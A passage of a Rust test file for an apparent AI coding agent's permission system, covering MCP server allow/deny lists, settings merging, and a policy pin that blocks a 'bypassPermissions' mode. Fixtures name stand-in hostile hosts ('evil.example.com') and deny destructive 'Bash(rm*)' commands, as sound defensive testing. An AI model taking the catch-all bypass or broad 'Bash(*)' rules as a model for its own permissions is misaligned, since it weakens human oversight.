parse_managed_settings_json(&json, path).mcp_allowlist
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_name_matches_strips_managed_prefix_both_sides_exactly() {
|
||
// Exact match after stripping the prefix — never substring.
|
||
assert!(mcp_name_matches("foo", "foo"));
|
||
assert!(mcp_name_matches("foo", "kigi_com_foo"));
|
||
assert!(mcp_name_matches("kigi_com_foo", "foo"));
|
||
assert!(mcp_name_matches("kigi_com_foo", "kigi_com_foo"));
|
||
assert!(!mcp_name_matches("foo", "foobar"));
|
||
assert!(!mcp_name_matches("foo", "kigi_com_foobar"));
|
||
assert!(!mcp_name_matches("foo", "barfoo"));
|
||
assert!(!mcp_name_matches("foo", "bar"));
|
||
assert!(!mcp_name_matches("", "foo"));
|
||
}
|
||
|
||
#[test]
|
||
fn normalize_managed_name_lowercases_and_underscores_spaces() {
|
||
assert_eq!(normalize_managed_name("Slack"), "slack");
|
||
assert_eq!(normalize_managed_name("My Server"), "my_server");
|
||
assert_eq!(normalize_managed_name("My Server"), "my__server");
|
||
assert_eq!(normalize_managed_name(""), "");
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_name_matches_is_case_and_space_insensitive() {
|
||
// A display-cased policy serverName matches to_managed_name's normalized
|
||
// runtime name, for managed and local servers alike.
|
||
assert!(mcp_name_matches("Slack", "kigi_com_slack"));
|
||
assert!(mcp_name_matches("My Server", "kigi_com_my_server"));
|
||
assert!(mcp_name_matches("kigi_com_my_server", "My Server"));
|
||
assert!(mcp_name_matches("My Server", "my_server"));
|
||
assert!(mcp_name_matches("SLACK", "slack"));
|
||
assert!(!mcp_name_matches("My Server", "my_server_2"));
|
||
assert!(!mcp_name_matches("", ""));
|
||
assert!(!mcp_name_matches("kigi_com_", "kigi_com_anything"));
|
||
}
|
||
|
||
#[test]
|
||
fn mcp_name_matches_mirrors_runtime_name_truncation() {
|
||
// A too-long serverName is truncated the same way as the runtime name, so
|
||
// it still matches.
|
||
let long = "a".repeat(MANAGED_MCP_NAME_MAX_CHARS * 2);
|
||
let max_bare = MANAGED_MCP_NAME_MAX_CHARS - MANAGED_MCP_PREFIX.len();
|
||
let runtime = format!("{MANAGED_MCP_PREFIX}{}", &long[..max_bare]);
|
||
assert!(mcp_name_matches(&long, &runtime));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_mcp_entries_supports_server_name() {
|
||
// serverName is a first-class key: parsed, not dropped or warned.
|
||
let json = serde_json::json!({
|
||
"deniedMcpServers": [ { "serverName": "internal-only" } ]
|
||
});
|
||
let (entries, logs) = parse_mcp_entries_capturing_logs(&json, "deniedMcpServers");
|
||
assert_eq!(entries.len(), 1);
|
||
assert!(
|
||
matches!(&entries[0], AllowedMcpServer::Name { name } if name == "internal-only"),
|
||
"expected a Name entry, got {entries:?}"
|
||
);
|
||
assert!(
|
||
!logs.contains("ignoring unsupported"),
|
||
"serverName must no longer warn, got: {logs:?}"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn denied_by_server_name_matches_bare_and_managed_prefix() {
|
||
let al = allowlist_from(serde_json::json!({
|
||
"deniedMcpServers": [ { "serverName": "foo" } ]
|
||
}));
|
||
|
||
assert!(al.is_restricted());
|
||
|
||
let bare = http_named("foo", "https://foo.example.com/mcp");
|
||
assert!(al.is_server_denied(&bare));
|
||
assert!(!al.is_server_allowed(&bare));
|
||
|
||
let managed = http_named("kigi_com_foo", "https://foo.example.com/mcp");
|
||
assert!(al.is_server_denied(&managed));
|
||
assert!(!al.is_server_allowed(&managed));
|
||
|
||
// Name match is transport-agnostic.
|
||
let stdio = stdio_named("kigi_com_foo", "npx");
|
||
assert!(al.is_server_denied(&stdio));
|
||
assert!(!al.is_server_allowed(&stdio));
|
||
|
||
// Unrelated names are NOT denied — exact match after strip, never substring.
|
||
for unrelated in ["foobar", "kigi_com_foobar", "barfoo", "bar"] {
|
||
let s = http_named(unrelated, "https://x.example.com/mcp");
|
||
assert!(
|
||
!al.is_server_denied(&s),
|
||
"must not deny unrelated {unrelated}"
|
||
);
|
||
assert!(
|
||
al.is_server_allowed(&s),
|
||
"unrelated {unrelated} should remain allowed"
|
||
);
|
||
}
|
||
}
|
||
|
||
#[test]
|
||
fn allowed_by_server_name_restricts_across_transports() {
|
||
let al = allowlist_from(serde_json::json!({
|
||
"allowedMcpServers": [ { "serverName": "foo" } ]
|
||
}));
|
||
assert!(al.is_restricted());
|
||
|
||
// A name allowlist is transport-agnostic: the named server is allowed on
|
||
// any transport regardless of URL/command, others are blocked.
|
||
assert!(al.is_server_allowed(&http_named("foo", "https://anything.example.com/x")));
|
||
assert!(al.is_server_allowed(&http_named("kigi_com_foo", "https://evil.example.com/x")));
|
||
assert!(al.is_server_allowed(&stdio_named("kigi_com_foo", "/usr/bin/whatever")));
|
||
|
||
let bar_http = http_named("bar", "https://anything.example.com/x");
|
||
assert!(!al.is_server_allowed(&bar_http));
|
||
assert!(!al.is_server_allowed(&stdio_named("bar", "npx")));
|
||
// Blocked as missing-allowlist, not an explicit deny.
|
||
assert!(!al.is_server_denied(&bar_http));
|
||
}
|
||
|
||
#[test]
|
||
fn server_name_deny_beats_allow() {
|
||
let al = allowlist_from(serde_json::json!({
|
||
"allowedMcpServers": [ { "serverName": "foo" } ],
|
||
"deniedMcpServers": [ { "serverName": "foo" } ]
|
||
}));
|
||
|
||
for s in [
|
||
http_named("foo", "https://foo.example.com/x"),
|
||
http_named("kigi_com_foo", "https://foo.example.com/x"),
|
||
] {
|
||
assert!(al.is_server_denied(&s));
|
||
assert!(
|
||
!al.is_server_allowed(&s),
|
||
"deny must beat allow for the same name"
|
||
);
|
||
}
|
||
}
|
||
|
||
#[test]
|
||
fn server_name_prefix_edge_cases_vice_versa() {
|
||
// Reverse case: prefixed policy vs bare runtime still matches after strip.
|
||
let al = allowlist_from(serde_json::json!({
|
||
"deniedMcpServers": [ { "serverName": "kigi_com_foo" } ]
|
||
}));
|
||
|
||
assert!(al.is_server_denied(&http_named("foo", "https://x.example.com/mcp")));
|
||
assert!(al.is_server_denied(&http_named("kigi_com_foo", "https://x.example.com/mcp")));
|
||
assert!(!al.is_server_denied(&http_named("foobar", "https://x.example.com/mcp")));
|
||
assert!(!al.is_server_denied(&http_named("kigi_com_foobar", "https://x.example.com/mcp")));
|
||
}
|
||
|
||
#[test]
|
||
fn server_name_independent_of_url_and_command_dimensions() {
|
||
// Allow side — URL ∪ name: matching either dimension permits the server.
|
||
let al = allowlist_from(serde_json::json!({
|
||
"allowedMcpServers": [
|
||
{ "serverUrl": "https://ok.example.com/*" },
|
||
{ "serverName": "foo" }
|
||
]
|
||
}));
|
||
assert!(al.is_server_allowed(&http_named("bar", "https://ok.example.com/mcp")));
|
||
assert!(al.is_server_allowed(&http_named("foo", "https://evil.example.com/mcp")));
|
||
assert!(!al.is_server_allowed(&http_named("bar", "https://evil.example.com/mcp")));
|
||
|
||
// Deny side — command and name deny independently, each on its own dimension.
|
||
let al = allowlist_from(serde_json::json!({
|
||
"deniedMcpServers": [
|
||
{ "command": "npx" },
|
||
{ "serverName": "foo" }
|
||
]
|
||
}));
|
||
assert!(al.is_server_denied(&stdio_named("unrelated", "npx")));
|
||
assert!(al.is_server_denied(&stdio_named("foo", "node")));
|
||
let safe = stdio_named("unrelated", "node");
|
||
assert!(!al.is_server_denied(&safe));
|
||
assert!(al.is_server_allowed(&safe));
|
||
}
|
||
|
||
#[test]
|
||
fn marketplace_allowlist_normalizes_git_urls() {
|
||
let al = MarketplaceAllowlist {
|
||
allowed_urls: vec!["git@github.enterprise.example:ACME/repo.git".into()],
|
||
source_path: None,
|
||
};
|
||
|
||
assert!(al.is_url_allowed("git@github.enterprise.example:ACME/repo.git"));
|
||
assert!(al.is_url_allowed("git@github.enterprise.example:ACME/repo"));
|
||
assert!(al.is_url_allowed("git@github.enterprise.example:acme/repo.git"));
|
||
assert!(!al.is_url_allowed("git@evil.com:ACME/repo.git"));
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Bare tool name parsing tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn parse_bare_bash_tool_name() {
|
||
let rule = parse_permission_rule("Bash", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_edit_tool_name() {
|
||
let rule = parse_permission_rule("Edit", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_write_tool_name() {
|
||
let rule = parse_permission_rule("Write", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_read_tool_name() {
|
||
let rule = parse_permission_rule("Read", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert!(rule.pattern.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_mcp_tool_name() {
|
||
let rule = parse_permission_rule("MCPTool", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Mcp);
|
||
assert!(rule.pattern.is_none());
|
||
assert_eq!(rule.action, RuleAction::Deny);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_unknown_stays_glob_pattern() {
|
||
let rule = parse_permission_rule("npm test", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Any);
|
||
assert_eq!(rule.pattern, Some("npm test".to_string()));
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Cross-file permission merging tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn merge_permissions_across_project_and_global_settings() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let cwd = tmp.path();
|
||
|
||
// Simulate a "global" settings file at the cwd level
|
||
// (in a real scenario this would be ~/.claude, but we test
|
||
// with two nested directories to exercise the merge logic).
|
||
let repo_dir = cwd.join("repo");
|
||
std::fs::create_dir_all(&repo_dir).unwrap();
|
||
// Create .git so the repo root is found
|
||
std::fs::create_dir_all(repo_dir.join(".git")).unwrap();
|
||
|
||
let sub_dir = repo_dir.join("sub");
|
||
std::fs::create_dir_all(&sub_dir).unwrap();
|
||
|
||
// Repo-level settings: broad Bash allow
|
||
let repo_claude = repo_dir.join(".claude");
|
||
std::fs::create_dir_all(&repo_claude).unwrap();
|
||
std::fs::write(
|
||
repo_claude.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Bash(*)", "Read(*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// Sub-dir settings: specific Edit allow
|
||
let sub_claude = sub_dir.join(".claude");
|
||
std::fs::create_dir_all(&sub_claude).unwrap();
|
||
std::fs::write(
|
||
sub_claude.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Edit(src/**)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// Resolve from sub_dir — should merge BOTH files
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(&sub_dir, None, UserDefaultModeLoad::Apply).unwrap();
|
||
|
||
// Should have all 3 rules: Edit(src/**) + Bash(*) + Read(*)
|
||
assert_eq!(
|
||
cfg.rules.len(),
|
||
3,
|
||
"expected 3 merged rules, got {:?}",
|
||
cfg.rules
|
||
);
|
||
|
||
let tools: Vec<_> = cfg.rules.iter().map(|r| &r.tool).collect();
|
||
assert!(tools.contains(&&ToolFilter::Bash), "missing Bash(*) rule");
|
||
assert!(tools.contains(&&ToolFilter::Read), "missing Read(*) rule");
|
||
assert!(
|
||
tools.contains(&&ToolFilter::Edit),
|
||
"missing Edit(src/**) rule"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn merge_deny_from_project_with_allow_from_parent() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let repo_dir = tmp.path().join("repo");
|
||
std::fs::create_dir_all(repo_dir.join(".git")).unwrap();
|
||
|
||
// Repo-level: broad Bash allow
|
||
let repo_claude = repo_dir.join(".claude");
|
||
std::fs::create_dir_all(&repo_claude).unwrap();
|
||
std::fs::write(
|
||
repo_claude.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Bash(*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let sub_dir = repo_dir.join("sub");
|
||
std::fs::create_dir_all(&sub_dir).unwrap();
|
||
|
||
// Sub-dir: deny rm
|
||
let sub_claude = sub_dir.join(".claude");
|
||
std::fs::create_dir_all(&sub_claude).unwrap();
|
||
std::fs::write(
|
||
sub_claude.join("settings.json"),
|
||
r#"{"permissions": {"deny": ["Bash(rm*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(&sub_dir, None, UserDefaultModeLoad::Apply).unwrap();
|
||
|
||
// Should have 2 rules: deny Bash(rm*) + allow Bash(*)
|
||
assert_eq!(cfg.rules.len(), 2);
|
||
|
||
let deny_rules: Vec<_> = cfg
|
||
.rules
|
||
.iter()
|
||
.filter(|r| r.action == RuleAction::Deny)
|
||
.collect();
|
||
let allow_rules: Vec<_> = cfg
|
||
.rules
|
||
.iter()
|
||
.filter(|r| r.action == RuleAction::Allow)
|
||
.collect();
|
||
assert_eq!(deny_rules.len(), 1, "expected 1 deny rule");
|
||
assert_eq!(allow_rules.len(), 1, "expected 1 allow rule");
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_from_specific_file_wins() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let repo_dir = tmp.path().join("repo");
|
||
std::fs::create_dir_all(repo_dir.join(".git")).unwrap();
|
||
|
||
// Repo-level: has acceptEdits
|
||
let repo_claude = repo_dir.join(".claude");
|
||
std::fs::create_dir_all(&repo_claude).unwrap();
|
||
std::fs::write(
|
||
repo_claude.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits", "permissions": {"allow": ["Bash(ls)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let sub_dir = repo_dir.join("sub");
|
||
std::fs::create_dir_all(&sub_dir).unwrap();
|
||
|
||
// Sub-dir: overrides defaultMode to "default" (no acceptEdits)
|
||
let sub_claude = sub_dir.join(".claude");
|
||
std::fs::create_dir_all(&sub_claude).unwrap();
|
||
std::fs::write(
|
||
sub_claude.join("settings.json"),
|
||
r#"{"defaultMode": "default", "permissions": {"allow": ["Edit(*.rs)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(&sub_dir, None, UserDefaultModeLoad::Apply).unwrap();
|
||
|
||
// Sub-dir's "default" mode should prevent the repo's acceptEdits
|
||
// from producing a synthetic Edit rule.
|
||
let synthetic_edit_count = cfg
|
||
.rules
|
||
.iter()
|
||
.filter(|r| {
|
||
r.action == RuleAction::Allow && r.tool == ToolFilter::Edit && r.pattern.is_none()
|
||
})
|
||
.count();
|
||
assert_eq!(
|
||
synthetic_edit_count, 0,
|
||
"sub-dir defaultMode='default' should override repo acceptEdits"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_inherited_from_parent_when_not_set() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let repo_dir = tmp.path().join("repo");
|
||
std::fs::create_dir_all(repo_dir.join(".git")).unwrap();
|
||
|
||
// Repo-level: has acceptEdits
|
||
let repo_claude = repo_dir.join(".claude");
|
||
std::fs::create_dir_all(&repo_claude).unwrap();
|
||
std::fs::write(
|
||
repo_claude.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits", "permissions": {"allow": ["Bash(ls)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let sub_dir = repo_dir.join("sub");
|
||
std::fs::create_dir_all(&sub_dir).unwrap();
|
||
|
||
// Sub-dir: no defaultMode set
|
||
let sub_claude = sub_dir.join(".claude");
|
||
std::fs::create_dir_all(&sub_claude).unwrap();
|
||
std::fs::write(
|
||
sub_claude.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Edit(*.rs)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(&sub_dir, None, UserDefaultModeLoad::Apply).unwrap();
|
||
|
||
// Repo's acceptEdits should apply (since sub-dir didn't override it)
|
||
let synthetic_edit_count = cfg
|
||
.rules
|
||
.iter()
|
||
.filter(|r| {
|
||
r.action == RuleAction::Allow && r.tool == ToolFilter::Edit && r.pattern.is_none()
|
||
})
|
||
.count();
|
||
assert_eq!(
|
||
synthetic_edit_count, 1,
|
||
"repo acceptEdits should produce synthetic Allow Edit when sub-dir doesn't override"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn single_file_still_works() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["Bash(cargo *)", "Edit(*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, path) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 2);
|
||
assert!(path.ends_with(".claude/settings.json"));
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// bypassPermissions defaultMode tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn bypass_permissions_produces_catch_all_allow() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "bypassPermissions"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// pin=None keeps this hermetic on machines whose real policy pins yolo.
|
||
let (cfg, _, path) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(cfg.rules[0].action, RuleAction::Allow);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Any);
|
||
assert!(cfg.rules[0].pattern.is_none());
|
||
// source_path must point to the file that provided defaultMode,
|
||
// even when no explicit permissions block exists.
|
||
assert!(
|
||
path.ends_with(".claude/settings.json"),
|
||
"source_path should reference the defaultMode file, got {:?}",
|
||
path
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn bypass_permissions_with_explicit_deny_still_has_deny() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "bypassPermissions", "permissions": {"deny": ["Bash(rm*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(cfg.rules.len(), 2);
|
||
// Deny rule exists
|
||
assert!(cfg.rules.iter().any(|r| r.action == RuleAction::Deny));
|
||
// Catch-all Allow Any exists
|
||
assert!(cfg.rules.iter().any(|r| r.action == RuleAction::Allow
|
||
&& r.tool == ToolFilter::Any
|
||
&& r.pattern.is_none()));
|
||
}
|
||
|
||
#[test]
|
||
fn bypass_permissions_overrides_accept_edits_cross_file() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let repo_dir = tmp.path().join("repo");
|
||
std::fs::create_dir_all(repo_dir.join(".git")).unwrap();
|
||
|
||
// Repo-level: acceptEdits
|
||
let repo_claude = repo_dir.join(".claude");
|
||
std::fs::create_dir_all(&repo_claude).unwrap();
|
||
std::fs::write(
|
||
repo_claude.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let sub_dir = repo_dir.join("sub");
|
||
std::fs::create_dir_all(&sub_dir).unwrap();
|
||
|
||
// Sub-dir: bypassPermissions (most-specific, should win)
|
||
let sub_claude = sub_dir.join(".claude");
|
||
std::fs::create_dir_all(&sub_claude).unwrap();
|
||
std::fs::write(
|
||
sub_claude.join("settings.json"),
|
||
r#"{"defaultMode": "bypassPermissions"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(&sub_dir, None, UserDefaultModeLoad::Apply).unwrap();
|
||
// Should produce Allow Any (bypassPermissions), NOT Allow Edit (acceptEdits)
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Any);
|
||
}
|
||
|
||
const PIN: &str = YOLO_PIN_REASON_REQUIREMENTS;
|
||
|
||
/// Hermetic resolver inputs: default managed settings, no managed-config
|
||
/// rules, so tests never read the host's real managed files.
|
||
fn inputs(policy_block: Option<&'static str>) -> ResolveInputs<'static> {
|
||
static DEFAULT_MANAGED: std::sync::OnceLock<ManagedSettings> = std::sync::OnceLock::new();
|
||
ResolveInputs {
|
||
policy_block,
|
||
managed: DEFAULT_MANAGED.get_or_init(ManagedSettings::default),
|
||
managed_config_rules: Vec::new(),
|
||
}
|
||
}
|
||
|
||
/// [`inputs`] with an explicit managed-settings snapshot.
|
||
fn inputs_with_managed<'a>(
|
||
policy_block: Option<&'static str>,
|
||
managed: &'a ManagedSettings,
|
||
) -> ResolveInputs<'a> {
|
||
ResolveInputs {
|
||
policy_block,
|
||
managed,
|
||
managed_config_rules: Vec::new(),
|
||
}
|
||
}
|
||
|
||
/// Pin active: no catch-all Allow Any; explicit rules stay; the block is
|
||
/// recorded as a skip for inspect.
|
||
#[test]
|
||
fn bypass_permissions_blocked_by_policy_pin() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "bypassPermissions", "permissions": {"deny": ["Bash(rm*)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, _) =
|
||
resolve_claude_settings_inner(tmp.path(), Some(PIN), UserDefaultModeLoad::Apply)
|
||
.unwrap();
|
||
assert_eq!(cfg.rules.len(), 1, "only the explicit deny survives");
|
||
assert_eq!(cfg.rules[0].action, RuleAction::Deny);
|
||
assert!(
|
||
!cfg.rules
|
||
.iter()
|
||
.any(|r| r.action == RuleAction::Allow && r.tool == ToolFilter::Any),
|
||
"catch-all Allow Any must not be appended under the pin"
|
||
);
|
||
assert_eq!(skipped.len(), 1);
|
||
assert_eq!(skipped[0].rule, "defaultMode=bypassPermissions");
|
||
assert_eq!(skipped[0].reason, PIN);
|
||
}
|
||
|
||
/// A bypass-only file under the pin still resolves (zero rules) so the skip
|
||
/// keeps provenance and reaches inspect instead of an early `None`.
|
||
#[test]
|
||
fn bypass_permissions_blocked_pin_only_file_still_resolves() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "bypassPermissions"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, path) =
|
||
resolve_claude_settings_inner(tmp.path(), Some(PIN), UserDefaultModeLoad::Apply)
|
||
.unwrap();
|
||
assert!(cfg.rules.is_empty(), "no synthetic rule under the pin");
|
||
assert_eq!(cfg.prompt_policy, PromptPolicy::Ask);
|
||
assert_eq!(skipped.len(), 1);
|
||
assert_eq!(skipped[0].rule, "defaultMode=bypassPermissions");
|
||
assert_eq!(skipped[0].reason, PIN);
|
||
assert!(
|
||
path.ends_with(".claude/settings.json"),
|
||
"provenance must point at the defaultMode file, got {path:?}"
|
||
);
|
||
}
|
||
|
||
/// The pin covers bypass only — acceptEdits (edits-only auto-approve)
|
||
/// keeps its synthetic Allow Edit rule.
|
||
#[test]
|
||
fn accept_edits_unaffected_by_policy_pin() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "acceptEdits"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, _) =
|
||
resolve_claude_settings_inner(tmp.path(), Some(PIN), UserDefaultModeLoad::Apply)
|
||
.unwrap();
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(cfg.rules[0].action, RuleAction::Allow);
|
||
assert_eq!(cfg.rules[0].tool, ToolFilter::Edit);
|
||
assert!(skipped.is_empty());
|
||
}
|
||
|
||
// yolo_disabled_by_policy predicate tests (pure inner)
|
||
|
||
/// Build a `(path, value)` layer for the predicate; the path only feeds
|
||
/// non-bool warnings.
|
||
fn layer(toml_str: &str) -> toml::Value {
|
||
toml::from_str(toml_str).unwrap()
|
||
}
|
||
|
||
#[test]
|
||
fn yolo_policy_block_from_requirements_layer() {
|
||
let p = Path::new("test-requirements.toml");
|
||
let pinned = layer("[ui]\ndisable_bypass_permissions_mode = true\n");
|
||
let enabled = layer("[ui]\ndisable_bypass_permissions_mode = false\n");
|
||
let unrelated = layer("[features]\ntelemetry = false\n");
|
||
|
||
// Any layer setting the key true activates the block; false/unrelated don't.
|
||
assert_eq!(
|
||
resolve_yolo_policy_block([(p, &unrelated), (p, &pinned)].into_iter()),
|
||
Some(YOLO_PIN_REASON_REQUIREMENTS),
|
||
);
|
||
assert_eq!(
|
||
resolve_yolo_policy_block([(p, &enabled), (p, &unrelated)].into_iter()),
|
||
None
|
||
);
|
||
assert_eq!(resolve_yolo_policy_block(std::iter::empty()), None);
|
||
}
|
||
|
||
/// The native `[ui] disable_bypass_permissions_mode` key locks when true
|
||
/// (default false). `permission_mode` is intentionally not a lock key.
|
||
#[test]
|
||
fn disable_bypass_permissions_mode_locks_when_true() {
|
||
let p = Path::new("test-requirements.toml");
|
||
let locked = layer("[ui]\ndisable_bypass_permissions_mode = true\n");
|
||
let unlocked = layer("[ui]\ndisable_bypass_permissions_mode = false\n");
|
||
let absent = layer("[ui]\npermission_mode = \"always-approve\"\n");
|
||
|
||
assert_eq!(
|
||
resolve_yolo_policy_block([(p, &locked)].into_iter()),
|
||
Some(YOLO_PIN_REASON_REQUIREMENTS),
|
||
);
|
||
// Explicit false (the default) does not lock.
|
||
assert_eq!(
|
||
resolve_yolo_policy_block([(p, &unlocked)].into_iter()),
|
||
None
|
||
);
|
||
// `permission_mode` is a switchable default, never a lock.
|
||
assert_eq!(resolve_yolo_policy_block([(p, &absent)].into_iter()), None);
|
||
}
|
||
|
||
/// Back-compat: `[ui] yolo = false` in requirements.toml still pins (legacy
|
||
/// alias for pre-rename configs); `yolo = true` does not. The documented key
|
||
/// is `disable_bypass_permissions_mode`.
|
||
#[test]
|
||
fn legacy_yolo_false_still_locks() {
|
||
let p = Path::new("test-requirements.toml");
|
||
let off = layer("[ui]\nyolo = false\n");
|
||
assert_eq!(
|
||
resolve_yolo_policy_block([(p, &off)].into_iter()),
|
||
Some(YOLO_PIN_REASON_LEGACY_YOLO),
|
||
);
|
||
let on = layer("[ui]\nyolo = true\n");
|
||
assert_eq!(resolve_yolo_policy_block([(p, &on)].into_iter()), None);
|
||
}
|
||
|
||
/// A non-bool lock value is a misconfiguration: it must NOT lock (so it
|
||
/// can't accidentally pin), AND it must emit a WARN naming the key + layer
|
||
/// so the admin sees the lock isn't taking effect.
|
||
#[test]
|
||
fn non_bool_lock_key_warns_and_does_not_lock() {
|
||
#[derive(Clone, Default)]
|
||
struct CapturingWriter(std::sync::Arc<std::sync::Mutex<Vec<u8>>>);
|
||
impl std::io::Write for CapturingWriter {
|
||
fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
|
||
self.0.lock().unwrap().extend_from_slice(buf);
|
||
Ok(buf.len())
|
||
}
|
||
fn flush(&mut self) -> std::io::Result<()> {
|
||
Ok(())
|
||
}
|
||
}
|
||
impl<'a> tracing_subscriber::fmt::MakeWriter<'a> for CapturingWriter {
|
||
type Writer = CapturingWriter;
|
||
fn make_writer(&'a self) -> Self::Writer {
|
||
self.clone()
|
||
}
|
||
}
|
||
|
||
let p = Path::new("/etc/kigi/requirements.toml");
|
||
let bad = layer("[ui]\ndisable_bypass_permissions_mode = \"true\"\n");
|
||
|
||
let writer = CapturingWriter::default();
|
||
let buf = writer.0.clone();
|
||
let subscriber = tracing_subscriber::fmt()
|
||
.with_writer(writer)
|
||
.with_max_level(tracing::Level::WARN)
|
||
.with_ansi(false)
|
||
.finish();
|
||
let result = tracing::subscriber::with_default(subscriber, || {
|
||
resolve_yolo_policy_block([(p, &bad)].into_iter())
|
||
});
|
||
|
||
// A misconfigured (non-bool) lock must NOT silently pin.
|
||
assert_eq!(
|
||
result, None,
|
||
"non-bool lock value must not activate the pin"
|
||
);
|
||
|
||
let out = String::from_utf8(buf.lock().unwrap().clone()).unwrap();
|
||
assert!(out.contains("WARN"), "no WARN level in: {out}");
|
||
assert!(
|
||
out.contains("disable_bypass_permissions_mode") && out.contains("must be a boolean"),
|
||
"missing non-bool warning in: {out}"
|
||
);
|
||
assert!(
|
||
out.contains("/etc/kigi/requirements.toml"),
|
||
"non-bool warning must name the layer in: {out}"
|
||
);
|
||
}
|
||
|
||
